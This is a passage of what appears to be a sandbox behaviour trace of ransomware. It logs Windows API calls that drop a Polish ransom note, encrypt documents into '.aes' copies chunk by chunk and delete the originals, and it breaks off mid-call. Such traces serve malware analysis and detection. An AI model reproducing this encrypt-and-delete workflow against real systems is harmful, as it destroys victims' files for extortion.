0x5c [0072.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0072.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0072.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0072.870] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x34c) returned 0x0 [0072.870] RegQueryValueExW (in: hKey=0x34c, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0072.870] RegQueryValueExW (in: hKey=0x34c, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x272e4b0, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0072.870] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5c [0072.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0072.870] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0072.870] GetFileType (hFile=0x354) returned 0x1 [0072.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0072.870] GetFileType (hFile=0x354) returned 0x1 [0072.870] WriteFile (in: hFile=0x354, lpBuffer=0x2737508*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x2737508*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0072.871] CloseHandle (hObject=0x354) returned 1 [0072.871] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0072.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf", lpFilePart=0x0) returned 0x54 [0072.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0072.893] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\f6p3h-e5k60slj.pdf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x148e680, ftCreationTime.dwHighDateTime=0x1d30525, ftLastAccessTime.dwLowDateTime=0x51af2cc0, ftLastAccessTime.dwHighDateTime=0x1d2f98f, ftLastWriteTime.dwLowDateTime=0x51af2cc0, ftLastWriteTime.dwHighDateTime=0x1d2f98f, nFileSizeHigh=0x0, nFileSizeLow=0x81dd)) returned 1 [0072.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0072.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf", lpFilePart=0x0) returned 0x54 [0072.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0072.894] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\f6p3h-e5k60slj.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0072.894] GetFileType (hFile=0x354) returned 0x1 [0072.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0072.894] GetFileType (hFile=0x354) returned 0x1 [0072.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf.aes", lpFilePart=0x0) returned 0x58 [0072.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0072.894] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\f6p3h-e5k60slj.pdf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0072.894] GetFileType (hFile=0x2a8) returned 0x1 [0072.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0072.894] GetFileType (hFile=0x2a8) returned 0x1 [0072.894] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0072.902] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0072.902] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0072.909] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0072.910] GetAdaptersAddresses () returned 0x6f [0072.914] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0072.914] GetAdaptersAddresses () returned 0x0 [0072.919] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.926] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.926] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.932] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.932] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.938] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.938] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.945] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.945] LocalFree (hMem=0x7014730) returned 0x0 [0072.945] GetBestInterfaceEx (in: pDestAddr=0x273e8ec*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0073.031] ReadFile (in: hFile=0x354, lpBuffer=0x26b41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b41f0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.032] ReadFile (in: hFile=0x354, lpBuffer=0x26b41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b41f0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.032] WriteFile (in: hFile=0x2a8, lpBuffer=0x26e6db4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e6db4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.033] ReadFile (in: hFile=0x354, lpBuffer=0x26b41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b41f0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.033] WriteFile (in: hFile=0x2a8, lpBuffer=0x26e6db4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e6db4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.033] ReadFile (in: hFile=0x354, lpBuffer=0x26b41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b41f0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.033] WriteFile (in: hFile=0x2a8, lpBuffer=0x26e6db4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e6db4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.033] ReadFile (in: hFile=0x354, lpBuffer=0x26b41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b41f0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.033] WriteFile (in: hFile=0x2a8, lpBuffer=0x26e6db4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e6db4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.033] ReadFile (in: hFile=0x354, lpBuffer=0x26b41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b41f0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.035] WriteFile (in: hFile=0x2a8, lpBuffer=0x26e6db4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e6db4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.035] ReadFile (in: hFile=0x354, lpBuffer=0x26b41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b41f0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.035] WriteFile (in: hFile=0x2a8, lpBuffer=0x26e6db4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e6db4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.035] ReadFile (in: hFile=0x354, lpBuffer=0x26b41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b41f0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.035] WriteFile (in: hFile=0x2a8, lpBuffer=0x26e6db4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e6db4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.035] ReadFile (in: hFile=0x354, lpBuffer=0x26b41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b41f0*, lpNumberOfBytesRead=0x77cea50*=0x1dd, lpOverlapped=0x0) returned 1 [0073.035] ReadFile (in: hFile=0x354, lpBuffer=0x26b41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b41f0*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0073.035] WriteFile (in: hFile=0x2a8, lpBuffer=0x26e6db4*, nNumberOfBytesToWrite=0x2f1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x26e6db4*, lpNumberOfBytesWritten=0x77ce974*=0x2f1, lpOverlapped=0x0) returned 1 [0073.035] WriteFile (in: hFile=0x2a8, lpBuffer=0x26e6db4*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x26e6db4*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0073.036] CloseHandle (hObject=0x2a8) returned 1 [0073.036] CloseHandle (hObject=0x354) returned 1 [0073.036] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf", lpFilePart=0x0) returned 0x54 [0073.036] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\F6P3h-e5k60SlJ.pdf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\f6p3h-e5k60slj.pdf")) returned 1 [0073.037] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5c [0073.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0073.037] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5b13740, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe5b13740, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe5b13740, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0073.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0073.038] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0073.067] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf", lpFilePart=0x0) returned 0x59 [0073.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0073.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\iufdafezbb3p- l4i3e.rtf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd950430, ftCreationTime.dwHighDateTime=0x1d30318, ftLastAccessTime.dwLowDateTime=0x402cd540, ftLastAccessTime.dwHighDateTime=0x1d2f9e6, ftLastWriteTime.dwLowDateTime=0x402cd540, ftLastWriteTime.dwHighDateTime=0x1d2f9e6, nFileSizeHigh=0x0, nFileSizeLow=0x15b17)) returned 1 [0073.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0073.067] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf", lpFilePart=0x0) returned 0x59 [0073.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0073.067] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\iufdafezbb3p- l4i3e.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0073.067] GetFileType (hFile=0x354) returned 0x1 [0073.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0073.068] GetFileType (hFile=0x354) returned 0x1 [0073.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf.aes", lpFilePart=0x0) returned 0x5d [0073.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0073.068] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\iufdafezbb3p- l4i3e.rtf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0073.068] GetFileType (hFile=0x2a8) returned 0x1 [0073.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0073.068] GetFileType (hFile=0x2a8) returned 0x1 [0073.068] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0073.076] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0073.076] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0073.083] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0073.083] GetAdaptersAddresses () returned 0x6f [0073.088] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0073.088] GetAdaptersAddresses () returned 0x0 [0073.093] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.100] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.100] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.106] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.107] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.113] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.113] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.119] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.120] LocalFree (hMem=0x7014730) returned 0x0 [0073.120] GetBestInterfaceEx (in: pDestAddr=0x2700bc4*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0073.203] ReadFile (in: hFile=0x354, lpBuffer=0x26b4288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4288*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.204] ReadFile (in: hFile=0x354, lpBuffer=0x26b4288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4288*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.204] WriteFile (in: hFile=0x2a8, lpBuffer=0x28a9c1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28a9c1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.204] ReadFile (in: hFile=0x354, lpBuffer=0x26b4288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4288*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.205] WriteFile (in: hFile=0x2a8, lpBuffer=0x28a9c1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28a9c1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.205] ReadFile (in: hFile=0x354, lpBuffer=0x26b4288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4288*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.205] WriteFile (in: hFile=0x2a8, lpBuffer=0x28a9c1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28a9c1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.205] ReadFile (in: hFile=0x354, lpBuffer=0x26b4288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4288*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.205] WriteFile (in: hFile=0x2a8, lpBuffer=0x28a9c1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28a9c1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.205] ReadFile (in: hFile=0x354, lpBuffer=0x26b4288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4288*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.206] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.207] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.207] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.207] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.207] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.207] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.207] WriteFile (in: hFile=0x2a8, 